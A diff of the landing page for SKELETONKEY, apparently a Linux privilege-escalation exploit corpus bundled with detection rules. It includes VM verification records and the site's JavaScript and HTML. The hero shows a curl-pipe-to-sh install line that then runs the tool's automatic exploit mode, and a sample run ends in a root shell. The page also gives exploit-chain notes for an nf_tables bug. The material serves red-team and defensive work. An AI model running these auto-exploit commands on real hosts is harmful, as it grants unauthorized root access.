+{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}

docs/app.js

@@ -0,0 +1,213 @@
+/* SKELETONKEY landing page — interactive bits.
+ * No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
+
+(function () {
+  'use strict';
+
+  const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
+
+  /* ============================================================
+   * 1. typed install command in the hero
+   * ============================================================ */
+  const installCmd =
+    'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n  && export PATH="$HOME/.local/bin:$PATH" \\\n  && skeletonkey --auto --i-know';
+  const typedEl  = document.getElementById('install-typed');
+  const cursorEl = document.getElementById('install-cursor');
+
+  function typeInstall(cb) {
+    if (reduceMotion) {
+      typedEl.textContent = installCmd;
+      if (cursorEl) cursorEl.style.display = 'none';
+      if (cb) cb();
+      return;
+    }
+    let i = 0;
+    function step() {
+      typedEl.textContent = installCmd.slice(0, i);
+      i++;
+      if (i <= installCmd.length) {
+        setTimeout(step, 18 + Math.random() * 22);
+      } else {
+        if (cursorEl) {
+          // keep cursor blinking for 2s, then hide
+          setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
+        }
+        if (cb) cb();
+      }
+    }
+    step();
+  }
+
+  /* ============================================================
+   * 2. copy install command
+   * ============================================================ */
+  window.copyInstall = function (btn) {
+    const text = installCmd;
+    navigator.clipboard.writeText(text).then(() => {
+      const original = btn.textContent;
+      btn.textContent = 'copied!';
+      btn.classList.add('copied');
+      setTimeout(() => {
+        btn.textContent = original;
+        btn.classList.remove('copied');
+      }, 1500);
+    }).catch(() => {
+      btn.textContent = '(copy failed)';
+      setTimeout(() => { btn.textContent = 'copy'; }, 1500);
+    });
+  };
+
+  /* ============================================================
+   * 3. stat count-up animation on view
+   * ============================================================ */
+  function countUp(el) {
+    const target = parseInt(el.dataset.target, 10);
+    if (!target || reduceMotion) { el.textContent = target; return; }
+    const dur = 1100;
+    const start = performance.now();
+    function tick(now) {
+      const t = Math.min((now - start) / dur, 1);
+      // ease-out
+      const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
+      el.textContent = v;
+      if (t < 1) requestAnimationFrame(tick);
+    }
+    requestAnimationFrame(tick);
+  }
+
+  /* ============================================================
+   * 4. --explain terminal: line-by-line reveal
+   * ============================================================ */
+  const explainHTML = [
+    '\n',
+    '<span class="t-rule">════════════════════════════════════════════════════</span>\n',
+    ' <span class="t-mod">nf_tables</span>   <span class="t-cve">CVE-2024-1086</span>\n',
+    '<span class="t-rule">════════════════════════════════════════════════════</span>\n',
+    ' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
+    '\n',
+    '<span class="t-header">WEAKNESS</span>\n',
+    '  <span class="t-cwe">CWE-416</span>\n',
+    '  <span class="t-label">MITRE ATT&amp;CK:</span> <span class="t-tech">T1068</span>\n',
+    '\n',
+    '<span class="t-header">THREAT INTEL</span>\n',
+    '  <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
+    '  <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
+    '\n',
+    '<span class="t-header">HOST FINGERPRINT</span>\n',
+    '  <span class="t-label">kernel:</span>        5.15.0-43-generic (x86_64)\n',
+    '  <span class="t-label">distro:</span>        Ubuntu 22.04.5 LTS\n',
+    '  <span class="t-label">unpriv userns:</span> ALLOWED\n',
+    '\n',
+    '<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
+    '<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
+    '<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
+    '<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
+    '\n',
+    '<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
+    '  -&gt; bug is reachable. The OPSEC section below shows what a successful\n',
+    '     exploit() would leave on this host.\n',
+    '\n',
+    '<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
+    '  unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
+    '  NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
+    '  committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
+    '  kernels. Cleanup is finisher-gated; no persistent files on success.\n',
+    '\n',
+    '<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
+    '  <span class="t-check">✓</span> auditd    <span class="t-check">✓</span> sigma    <span class="t-check">✓</span> yara    <span class="t-check">✓</span> falco\n',
+  ];
+  function playExplain(el) {
+    if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
+    let i = 0;
+    el.innerHTML = '';
+    function step() {
+      if (i >= explainHTML.length) return;
+      el.innerHTML += explainHTML[i];
+      i++;
+      // pause longer on blank lines to feel like real terminal output
+      const next = explainHTML[i - 1];
+      const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
+      setTimeout(step, delay);
+    }
+    step();
+  }
+
+  /* ============================================================
+   * 5. quickstart tabs
+   * ============================================================ */
+  function initTabs() {
+    const tabs   = document.querySelectorAll('.tab');
+    const panels = document.querySelectorAll('.tab-panel');
+    tabs.forEach((t) => {
+      t.addEventListener('click', () => {
+        const tab = t.dataset.tab;
+        tabs.forEach((x) => x.classList.toggle('active', x === t));
+        panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
+      });
+    });
+  }
+
+  /* ============================================================
+   * 6. scroll-triggered reveal + first-time triggers
+   * ============================================================ */
+  function initReveal() {
+    if (!('IntersectionObserver' in window) || reduceMotion) {
+      document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
+      // also fire one-shot animations immediately
+      countAllStats();
+      const explainEl = document.getElementById('explain-output');
+      if (explainEl) playExplain(explainEl);
+      return;
+    }
+
+    const obs = new IntersectionObserver((entries) => {
+      entries.forEach((e) => {
+        if (e.isIntersecting) {
+          e.target.classList.add('in');
+          // fire one-shot effects when the right section becomes visible
+          if (e.target.id === 'explain') {
+            const out = e.target.querySelector('#explain-output');
+            if (out && !out.dataset.played) {
+              out.dataset.played = '1';
+              playExplain(out);
+            }
+          }
+          obs.unobserve(e.target);
+        }
+      });
+    }, { threshold: 0.15 });
+
+    document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
+  }
+
+  function countAllStats() {
+    document.querySelectorAll('.stat-chip .num').forEach(countUp);
+  }
+
+  /* fire the stats count-up as soon as the hero shows */
+  function initStatsCountUp() {
+    if (!('IntersectionObserver' in window) || reduceMotion) {
+      countAllStats();
+      return;
+    }
+    const row = document.getElementById('stats-row');
+    if (!row) return;
+    const o = new IntersectionObserver((es) => {
+      if (es[0].isIntersecting) {
+        countAllStats();
+        o.disconnect();
+      }
+    });
+    o.observe(row);
+  }
+
+  /* ============================================================
+   * boot
+   * ============================================================ */
+  document.addEventListener('DOMContentLoaded', () => {
+    typeInstall();
+    initTabs();
+    initReveal();
+    initStatsCountUp();
+  });
+})();

docs/index.html

@@ -3,287 +3,611 @@
 <head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
-<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
-<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
-<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
-<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
+<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
+<meta name="description" content="One binary. 43 Linux privilege-escalation modules from 2016 to 2026. 28 of 38 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
+<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
+<meta property="og:description" content="43 Linux LPE modules; 28 of 38 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
 <meta property="og:type" content="website">
 <meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
-<meta name="twitter:card" content="summary">
+<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
+<meta property="og:image:width" content="1200">
+<meta property="og:image:height" content="630">
+<meta name="twitter:card" content="summary_large_image">
+<meta name="twitter:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
+<meta name="theme-color" content="#0a0a14">
+
+<link rel="preconnect" href="https://fonts.googleapis.com">
+<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
+
 <link rel="stylesheet" href="style.css">
 </head>
 <body>
 
+<!-- gradient mesh background, animated, fixed behind content -->
+<div class="bg-mesh" aria-hidden="true">
+  <div class="mesh-blob mesh-blob-1"></div>
+  <div class="mesh-blob mesh-blob-2"></div>
+  <div class="mesh-blob mesh-blob-3"></div>
+</div>
+
 <nav class="nav">
-  <span class="nav-brand">SKELETONKEY</span>
-  <a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
-     aria-label="View on GitHub">
-    <svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
-      <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
-        0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
-        -.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
-        .07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
-        -.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
-        1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
-        1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
-        1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
-    </svg>
-    <span>GitHub</span>
-  </a>
+  <div class="container nav-inner">
+    <a class="nav-brand" href="#">
+      <span class="nav-mark" aria-hidden="true">◆</span>
+      SKELETONKEY
+    </a>
+    <div class="nav-links">
+      <a href="#corpus">Corpus</a>
+      <a href="#explain">--explain</a>
+      <a href="#detection">Detection</a>
+      <a href="#quickstart">Quickstart</a>
+      <a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
+        <svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
+          <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
+        </svg>
+      </a>
+    </div>
+  </div>
 </nav>
 
+<!-- ──────────────── HERO ──────────────── -->
 <header class="hero">
-  <div class="container">
-    <h1>SKELETONKEY</h1>
-    <p class="tag">
-      One curated binary. <strong>28 Linux LPE exploits</strong> from
-      2016 → 2026. Detection rules in the box.
-      <strong>One command picks the safest one and runs it.</strong>
+  <div class="container hero-inner">
+    <div class="hero-eyebrow">
+      <span class="dot dot-pulse"></span>
+      v0.9.11 — released 2026-06-08
+    </div>
+    <h1 class="hero-title">
+      <span class="display-wordmark">SKELETONKEY</span>
+    </h1>
+    <p class="hero-tag">
+      One binary. <strong>43 Linux LPE modules</strong> covering 38 CVEs —
+      <strong>every year 2016 → 2026</strong>. 28 of 38 confirmed against
+      real Linux kernels in VMs. SOC-ready detection rules in four SIEM
+      formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
+      <span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
     </p>
 
     <div class="install-block">
-      <button class="copy" onclick="copyInstall(this)">copy</button>
-<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
-  &amp;&amp; skeletonkey --auto --i-know</pre>
+      <div class="install-bar">
+        <span class="install-dots" aria-hidden="true">
+          <i></i><i></i><i></i>
+        </span>
+        <span class="install-title">terminal</span>
+        <button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
+      </div>
+      <pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
     </div>
 
-    <p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
+    <div class="stats-row" id="stats-row">
+      <div class="stat-chip"><span class="num" data-target="43">0</span><span>modules</span></div>
+      <div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
+      <div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
+      <div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
+    </div>
 
     <div class="cta-row">
-      <a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
-      <a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
-      <a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
+      <a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
+        ↓ Latest release
+      </a>
+      <a class="btn" href="#explain">See <code>--explain</code> in action</a>
+      <a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
+        <svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
+        Source on GitHub
+      </a>
     </div>
+
+    <p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
   </div>
 </header>
 
-<section>
+<!-- ──────────────── TRUST STRIP ──────────────── -->
+<section class="trust-strip">
   <div class="container">
-    <h2>Why this exists</h2>
-    <p class="lead">
-      Most Linux privesc tooling is broken in one of three ways:
-    </p>
-    <ul class="tight">
-      <li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
-      <li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
-      <li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
-    </ul>
-    <p class="lead" style="margin-top:1rem">
-      SKELETONKEY is one binary, actively maintained, with detection
-      rules for every CVE it bundles — same project for red and blue
-      teams.
-    </p>
+    <div class="trust-row">
+      <span class="trust-label">Grounded in authoritative sources</span>
+      <ul class="trust-items">
+        <li>CISA KEV catalog</li>
+        <li>NVD CVE API</li>
+        <li>MITRE ATT&amp;CK</li>
+        <li>kernel.org stable tree</li>
+        <li>Debian Security Tracker</li>
+        <li>NIST CWE</li>
+      </ul>
+    </div>
   </div>
 </section>
 
-<section>
+<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
+<section id="explain" class="section section-feature reveal">
   <div class="container">
-    <h2>Corpus at a glance</h2>
-
-    <div class="stats">
-      <div class="stat">
-        <span class="stat-num">28</span>
-        <span class="stat-label">verified modules</span>
-      </div>
-      <div class="stat">
-        <span class="stat-num green">14</span>
-        <span class="stat-label">🟢 land root by default</span>
-      </div>
-      <div class="stat">
-        <span class="stat-num yellow">14</span>
-        <span class="stat-label">🟡 primitive + opt-in chain</span>
-      </div>
-      <div class="stat">
-        <span class="stat-num">10y</span>
-        <span class="stat-label">2016 → 2026 coverage</span>
-      </div>
+    <div class="section-head">
+      <span class="section-tag">flagship feature</span>
+      <h2>One command. Complete briefing.</h2>
+      <p class="lead">
+        <code>skeletonkey --explain &lt;module&gt;</code> renders the page every
+        team needs: CVE / CWE / MITRE ATT&amp;CK / CISA KEV status, host
+        fingerprint, live detect() trace with verdict, OPSEC footprint, and
+        the detection-rule coverage matrix. Triage tickets and SOC handoffs
+        in one paste.
+      </p>
     </div>
 
-    <h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
-    <p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
+    <div class="terminal-shell">
+      <div class="terminal-bar">
+        <span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
+        <span class="install-title">skk-host ~ $</span>
+      </div>
+      <pre class="terminal-body" id="explain-output"></pre>
+    </div>
+
+    <div class="explain-annotations">
+      <div class="annotation">
+        <span class="anno-num">1</span>
+        <div>
+          <strong>Triage metadata in the header</strong>
+          <p>CWE class, MITRE ATT&amp;CK technique, CISA KEV status with
+          date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
+          which pulls fresh from federal data sources.</p>
+        </div>
+      </div>
+      <div class="annotation">
+        <span class="anno-num">2</span>
+        <div>
+          <strong>Live host fingerprint</strong>
+          <p>Cached once at startup by <code>core/host.c</code>. Every
+          module sees the same kernel / arch / distro / userns / apparmor
+          / selinux / lockdown picture.</p>
+        </div>
+      </div>
+      <div class="annotation">
+        <span class="anno-num">3</span>
+        <div>
+          <strong>Real detect() trace</strong>
+          <p>The verbose stderr of the module's own probe — each gate
+          fires, each kernel_range entry checked, each verdict justified.
+          No more black-box "VULNERABLE" outputs.</p>
+        </div>
+      </div>
+      <div class="annotation">
+        <span class="anno-num">4</span>
+        <div>
+          <strong>OPSEC footprint</strong>
+          <p>Per-exploit description of what the SOC would see if this
+          fired: file artifacts, dmesg signatures, syscall observables,
+          network activity, cleanup behavior.</p>
+        </div>
+      </div>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── BENTO FEATURES ──────────────── -->
+<section class="section section-bento reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">capabilities</span>
+      <h2>Built for every side of the desk</h2>
+    </div>
+
+    <div class="bento">
+      <article class="bento-card bento-lg">
+        <div class="bento-icon">⚡</div>
+        <h3>Auto-pick the safest exploit</h3>
+        <p>
+          <code>--auto</code> ranks vulnerable modules by stability
+          (structural escapes &gt; page-cache writes &gt; userspace races
+          &gt; kernel races) and runs the safest one. Never crashes a
+          production box looking for root.
+        </p>
+        <pre class="bento-code">$ skeletonkey --auto --i-know
+[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
+[*] launching --exploit pwnkit...
+# id
+uid=0(root) gid=0(root)</pre>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">🛡</div>
+        <h3>151 detection rules</h3>
+        <p>
+          auditd · sigma · yara · falco. One command emits the corpus for
+          your SIEM. Each rule grounded in the module's own syscalls.
+        </p>
+        <div class="rule-cov">
+          <div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
+          <div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
+          <div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
+          <div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
+        </div>
+      </article>
+
+      <article class="bento-card bento-kev">
+        <div class="bento-icon">★</div>
+        <h3>CISA KEV prioritized</h3>
+        <p>
+          13 of 38 CVEs in the corpus are in CISA's Known Exploited
+          Vulnerabilities catalog — actively exploited in the wild.
+          Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
+        </p>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">🧬</div>
+        <h3>OPSEC notes per exploit</h3>
+        <p>
+          Each module ships a runtime-footprint paragraph: files, dmesg,
+          syscall observables, network, persistence. The inverse of the
+          detection rules — what an attacker would leave behind on
+          <em>your</em> host.
+        </p>
+      </article>
+
+      <article class="bento-card bento-lg">
+        <div class="bento-icon">🎯</div>
+        <h3>One host fingerprint, every module</h3>
+        <p>
+          <code>core/host.c</code> probes kernel / arch / distro / userns /
+          apparmor / selinux / lockdown / sudo version / polkit version
+          <em>once</em> at startup. Every <code>detect()</code> reads the
+          same cached snapshot, so verdicts stay coherent across the
+          corpus.
+        </p>
+        <pre class="bento-code">struct skeletonkey_host {
+    struct kernel_version kernel;
+    char arch[32], distro_id[64];
+    bool unprivileged_userns_allowed;
+    bool apparmor_restrict_userns;
+    bool kpti_enabled, selinux_enforcing;
+    char meltdown_mitigation[64];
+    char sudo_version[64], polkit_version[64];
+    ...
+};</pre>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">📡</div>
+        <h3>JSON for pipelines</h3>
+        <p>
+          <code>--scan --json</code> emits a stable schema (see
+          <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
+          with triage metadata, opsec notes, and rule coverage embedded.
+          Ready for Splunk / Elastic / Sentinel ingest.
+        </p>
+      </article>
+
+      <article class="bento-card">
+        <div class="bento-icon">🔒</div>
+        <h3>No SaaS. No telemetry.</h3>
+        <p>
+          One static binary. No phone-home, no analytics, no cloud
+          accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
+          probe, exits. JSON or plain text — your pipeline owns the data.
+        </p>
+      </article>
+
+      <article class="bento-card bento-vfy">
+        <div class="bento-icon">✓</div>
+        <h3>22 modules empirically verified</h3>
+        <p>
+          <code>tools/verify-vm/</code> spins up known-vulnerable
+          kernels (stock distro + mainline from kernel.ubuntu.com), runs
+          <code>--explain --active</code> per module, and records the
+          verdict. <strong>28 of 38 CVEs</strong> confirmed against
+          real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
+          + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
+          <code>--list</code> shows ✓ per module.
+        </p>
+      </article>
+    </div>
+  </div>
+</section>
+
+<!-- ──────────────── MODULE CORPUS ──────────────── -->
+<section id="corpus" class="section reveal">
+  <div class="container">
+    <div class="section-head">
+      <span class="section-tag">corpus</span>
+      <h2>38 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
+    </div>
+
+    <h3 class="corpus-h" data-color="green">
+      <span class="corpus-dot green"></span>
+      Lands root on a vulnerable host
+      <span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
+    </h3>
     <div class="pills">
       <span class="pill green">copy_fail</span>
       <span class="pill green">copy_fail_gcm</span>
       <span class="pill green">dirty_frag_esp</span>
       <span class="pill green">dirty_frag_esp6</span>
       <span class="pill green">dirty_frag_rxrpc</span>
-      <span class="pill green">dirty_pipe</span>
-      <span class="pill green">dirty_cow</span>
-      <span class="pill green">pwnkit</span>
-      <span class="pill green">overlayfs</span>
-      <span class="pill green">overlayfs_setuid</span>
+      <span class="pill green kev">★ dirty_pipe</span>
+      <span class="pill green kev">★ dirty_cow</span>
+      <span class="pill green kev">★ pwnkit</span>
+      <span class="pill green kev">★ overlayfs</span>
+      <span class="pill green kev">★ overlayfs_setuid</span>
       <span class="pill green">cgroup_release_agent</span>
-      <span class="pill green">ptrace_traceme</span>
+      <span class="pill green kev">★ ptrace_traceme</span>
       <span class="pill green">sudoedit_editor</span>
+      <span class="pill green">sudo_host</span>
       <span class="pill green">entrybleed</span>
     </div>
 
-    <h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
-    <p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
+    <h3 class="corpus-h" data-color="yellow">
+      <span class="corpus-dot yellow"></span>
+      Fires kernel primitive · opt-in <code>--full-chain</code>
+      <span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
+    </h3>
     <div class="pills">
-      <span class="pill yellow">nf_tables</span>
+      <span class="pill yellow kev">★ nf_tables</span>
       <span class="pill yellow">nft_set_uaf</span>
       <span class="pill yellow">nft_fwd_dup</span>
       <span class="pill yellow">nft_payload</span>
-      <span class="pill yellow">netfilter_xtcompat</span>
+      <span class="pill yellow kev">★ netfilter_xtcompat</span>
       <span class="pill yellow">af_packet</span>
       <span class="pill yellow">af_packet2</span>
       <span class="pill yellow">af_unix_gc</span>
       <span class="pill yellow">cls_route4</span>
-      <span class="pill yellow">fuse_legacy</span>
+      <span class="pill yellow kev">★ fuse_legacy</span>
       <span class="pill yellow">stackrot</span>
-      <span class="pill yellow">sudo_samedit</span>
+      <span class="pill yellow kev">★ sudo_samedit</span>
       <span class="pill yellow">sequoia</span>
       <span class="pill yellow">vmwgfx</span>
+      <span class="pill yellow">ptrace_pidfd</span>
+      <span class="pill yellow">cifswitch</span>
+      <span class="pill yellow">nft_catchall</span>
     </div>
+
+    <p class="corpus-foot">
+      Full inventory with kernel ranges, mitigations, and detection
+      coverage:
+      <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
+      ·
